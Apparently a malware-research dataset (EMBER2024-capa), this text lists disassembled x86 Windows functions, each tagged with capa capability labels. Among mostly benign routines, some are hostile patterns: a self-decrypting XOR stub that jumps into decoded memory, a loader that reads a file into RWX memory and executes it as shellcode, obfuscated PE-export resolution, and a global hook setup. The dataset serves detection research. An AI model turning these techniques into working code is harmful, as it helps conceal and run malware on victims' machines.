joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44deb8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44deca
add esp, 0xfffffff0
call fcn.00403b5c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a08c
mov eax, dword [0x55b17c]
mov dword [eax + 4], ebx
mov dword [eax], 0x44e25c
mov eax, dword [0x55b188]
mov dword [eax + 4], ebx
mov dword [eax], 0x44e268
mov eax, ebx
call fcn.0044e274
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411cc8]
call fcn.00403820
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411cc8]
call fcn.00403820
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411cc8]
call fcn.00403820
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411cc8]
call fcn.00403820
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411cc8]
call fcn.00403820
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x449d0c
push eax
push 0
push 0
mov eax, dword [0x55b2e0]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41dc08]
call fcn.0041f128
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41dc08]
call fcn.0041f128
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41dc08]
call fcn.0041f128
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.0044e6a4
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44e574
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44e574
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44e574
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44e007
call fcn.00403bb4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44e358
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44e503
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44e4e4
mov dl, 1
mov eax, dword [0x4120ec]
call fcn.00403820
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404664
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44e4d3
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00441318
test al, al
je 0x44e4c6
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44e514
lea eax, [ebp - 0x254]
call fcn.00409174
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44e4c6
xor eax, eax
push ebp
push 0x44e4bf
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44e54c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44e4a8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004048d4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44e4a8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004048d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e4c6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44e3c9
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x25], 0
mov dl, 1
call fcn.00415e54
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44e50a
lea eax, [ebp - 0x260]
call fcn.00404664
ret

Function at 0x44ee7c
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x55f57c]
cmp byte [eax + 0xad], 0
jne 0x44eeed
cmp dword [0x55f594], 0
jne 0x44eeae
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44ee38
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x55f594], eax
cmp dword [0x55f590], 0
jne 0x44eec9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x55f590], eax
cmp dword [0x55f598], 0
jne 0x44eeed
push esp
push 0
push 0
push 0x44eddc
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x55f598], eax
pop edx
ret
Function at 0x44f0c0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44f0d7
add esp, 0xfffffff0
call fcn.00403b5c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a08c
mov eax, dword [0x55b2c8]
cmp word [eax + 2], 0
jne 0x44f0ff
mov eax, dword [0x55b2c8]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00450b70
mov eax, dword [0x55b374]
cmp word [eax + 2], 0
jne 0x44f119
mov eax, dword [0x55b374]
mov dword [eax + 4], ebx
mov dword [eax], fcn.00450d7c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x411cc8]
call fcn.00403820
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x411cc8]
call fcn.00403820
mov dword [ebx + 0x98], eax
mov dl, 1
mov eax, dword [0x411cc8]
call fcn.00403820
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x41e3e4]
call fcn.00424294
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x44f2d0
mov eax, dword [0x55b1e4]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00424668
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45143c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x55b1e4]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040c884
test eax, eax
je 0x44f220
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408b2c
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040c8b8
test eax, eax
je 0x44f234
mov byte [eax], 0
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_CharNextA_1
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004048d4
mov byte [ebx + 0xd4], 0
push ebx
push 0x4506d0
call fcn.0041b208
mov dword [ebx + 0xc8], eax
mov eax, dword [0x55b0dc]
cmp byte [eax], 0
jne 0x44f285
mov eax, ebx
call fcn.0044f414
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.00451618
mov eax, ebx
call fcn.00452178
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44f2c5
call fcn.00403bb4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44f694
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x55f57c]
cmp dword [eax + 0x30], 0
je 0x44f73e
cmp dword [ebx + 0x94], 0
jne 0x44f738
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44f624
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44f738
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44f6fe
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44f738
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004140fc
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44f70d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x450458
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x45048d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404754
jmp 0x45049a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004046b8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4517fc
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45186a
mov eax, esi
call fcn.0043c1d4
test al, al
je 0x45186a
mov eax, dword [ebx + 0x84]
call fcn.0043bed8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45186a
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xf0]
test al, al
je 0x45185e
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043bed8
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0043441c
jmp 0x45186a
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.00451638
pop esi
pop ebx
ret
Function at 0x413769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x417190
cmp edx, dword [eax]
je 0x41378b
add eax, 8
inc ecx
cmp eax, 0x417220
jl 0x41377c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x417190]
jne 0x4138b9
mov eax, dword [0x417bb0]
cmp eax, 1
je 0x413893
test eax, eax
jne 0x4137bc
cmp dword [0x4170e4], 1
je 0x413893
cmp edx, 0xfc
je 0x4138b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4137f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00414670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00414490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x413836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00414490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41645c
push edi
call fcn.00414f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00414670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00414680
lea eax, [ebp - 0xa0]
push 0x41643c
push eax
call fcn.00414680
push dword [esi + 0x417194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00414680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00414e75
add esp, 0x2c
pop edi
jmp 0x4138b9
lea eax, [ebp + 8]
lea esi, [esi + 0x417194]
push 0
push eax
push dword [esi]
call fcn.00414490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0xc3e1e3
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
je 0x85f578
mov eax, dword [eax + ecx + 0x7c]
push ebx
clc
push edi
mov dword [ebp - 0x10], eax
clc
mov dword [ebp - 8], 0xffffffff
clc
cmp esi, 0xffff
ja 0xccef0d
mov eax, esi
test eax, edx
clc
sub eax, dword [edx + ecx + 0x10]
jmp 0xc8a3d3
jne 0x85f578
mov edx, dword [eax + ecx + 0x78]
test bp, si
stc
mov dword [ebp - 4], edx
test edx, edx
jmp 0x791647
mov eax, dword [ecx + 0x3c]
cmp esp, 0x3a9e0388
cmp ecx, edx
cmp dword [eax + ecx], 0x4550
jmp 0x7c3dab
lea eax, [eax + ecx]
test dh, 0x68
cmc
xor ebx, ebx
jmp 0x85ecef
mov eax, dword [ebp + 8]
btc edx, 0x59
bsr dx, di
mov ecx, dword [ebp - 4]
movsx edx, si
mov edx, dword [ecx + eax + 0x24]
xchg cx, cx
lea ecx, [edx + esi*2]
rcl edx, 0x1a
movzx edx, word [ecx + eax]
cmp si, 0x6184
mov dword [ebp - 8], edx
and cx, 0x734c
mov ecx, eax
or ah, 0x88
xor edx, 0x729441b0
mov edx, dword [ebp - 4]
dec eax
sbb al, 0x37
bswap eax
mov eax, dword [ebp - 8]
test dx, si
cmp eax, dword [edx + ecx + 0x14]
jmp 0xc32e0e
dec edi
jmp 0xbce838
je 0x7cd156
sub eax, eax
pop esi
jmp 0xbf8c68
je 0x84e6df
mov eax, dword [edx + ecx + 0x20]
stc
test bx, 0x78bb
jmp 0x82efa2
jle 0x84e69d
lea ebx, [esi + 1]
btr ecx, 0x7b
mov ecx, dword [ebp + 8]
cmp ebx, edi
jmp 0xc00656
mov dword [ebp - 0xc], eax
js 0x84e6df
jmp 0xc4f4e9
mov esp, ebp
pop ebp
jmp 0xc73813
jle 0xc4f4e6
jmp 0x84e6d7
push edx
mov dx, bp
mov edx, dword [ebp + 0xc]
clc
add eax, ecx
jmp 0xcabfb5
push ebp
mov ebp, esp
xor cx, ax
mov ecx, dword [ebp + 8]
lea esp, [esp - 0x114]
push esi
stc
test ecx, ecx
jmp 0xcb3801
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
lea esi, [edi + ebx]
sar esi, 1
cmp si, si
mov eax, dword [eax + esi*4]
jmp 0xc1b57c
jmp 0x84e6df
ret
mov dword [ebp - 8], eax
jmp 0xc5055b
call fcn.0086b877
add esp, 4
clc
test eax, eax
jmp 0xcdfc06
je 0x85f578
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x85f578
mov eax, 0x5a4d
stc
cmp esi, 0xcad645a
cmp esp, ebp
cmp word [ecx], ax
jmp 0x85f572
mov edi, dword [edx + ecx + 0x18]
test edi, edi
jmp 0x88dba6
jns 0xbb3bd9
lea edi, [esi - 1]
jmp 0xbb3be6

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x740529
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x40
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00740480
add esp, 0xc
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x740558
mov eax, 0xea61
jmp 0x7405d6
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x3c], 0
jne 0x740568
mov eax, 0xea62
jmp 0x7405d6
push 0xf8
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0x10]
push eax
call fcn.00740480
add esp, 0xc
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0x4550
je 0x740595
mov eax, 0xea62
jmp 0x7405d6
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax + 4]
cmp ecx, 0x14c
je 0x7405ad
mov eax, 0xea65
jmp 0x7405d6
mov eax, dword [ebp + 0x10]
xor ecx, ecx
mov cx, word [eax + 0x16]
test ch, 0x10
je 0x7405c2
mov eax, 0xea66
jmp 0x7405d6
mov eax, dword [ebp + 0x10]
cmp dword [eax + 0x74], 0x10
jbe 0x7405d2
mov eax, 0xea67
jmp 0x7405d6
xor eax, eax
jmp 0x7405d6
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x92fd04
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x92fd0a
pop ebp
sub ebp, 6
sub ebp, 0x52fd04
jmp 0x92fd68
pop es
out 0x52, al
mov al, 0xa8
out 0xc3, al
out 0xc3, al
ret
cld
dec ebp
add dword [eax], eax
add byte [eax], al
jb 0x92fdb5
sub ah, byte [edx + 0x200f4e81]
fist dword [ebp + 0x6a56d85a]
mov ebx, dword [esi + 0x486ebe51]
fisub word [edx]
mov ebp, 0x77e2a302
mov byte [esi - 0x10], bh
shl dword [edi - 0x17], 1
add al, 0
add byte [eax], al
in al, 0x63
push ebx
cmp byte [eax + 0x52fd04], 3
lds eax, [ecx + 0x93c0]
add byte [ecx + 0x632], bh
jmp 0x92fd71
mov eax, 0x52fd04
add eax, ebp
add eax, 0x93
mov ecx, 0x632
mov edx, 0xa5220d62
xor byte [eax], dl
inc eax
dec ecx
jne 0x92fd88
jmp 0x92fd9b
or byte [edx], ah
or ah, byte [edx + 0x72]
bound esp, qword [edx + 0xa]
bound ebp, qword [esi - 0x6d1c9db2]
aad 0x32
jge 0x92fd3a
jecxz 0x92fd41
aad 0x32
jge 0x92fd40
push ecx
mov byte [0x1af79d32], al
and ebp, dword [ebx]
xor bl, byte [ebp + 0x2b231af7]
bound esi, qword [edx]
jmp 0x5f7ee771
Function at 0x4028a0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x4028cf
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403a9c
jmp 0x4028ed
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.00402828
mov edi, eax
test ebx, ebx
je 0x4028ed
cmp dword [esi], 0
je 0x4028ed
dec ebx
jmp 0x4028d6
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402ba4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402c3c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402c1c
xor eax, eax
push ebp
push 0x402c15
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402c58
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402c1c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret
Function at 0x404f2c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x4050e8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x404f8d
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405104
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404fff
xor eax, eax
push ebp
push 0x404ff8
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.00404d84
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404fe1
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405124
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404fff
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4050e0
cmp byte [ebp - 0xd], 0
jne 0x405041
cmp byte [ebp - 0x12], 0
je 0x4050e0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x40505a
dec ebx
cmp byte [ebx], 0x2e
je 0x405069
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405059
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4050e0
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405096
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4050e0
cmp byte [ebp - 0xd], 0
je 0x4050e0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4050e0
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret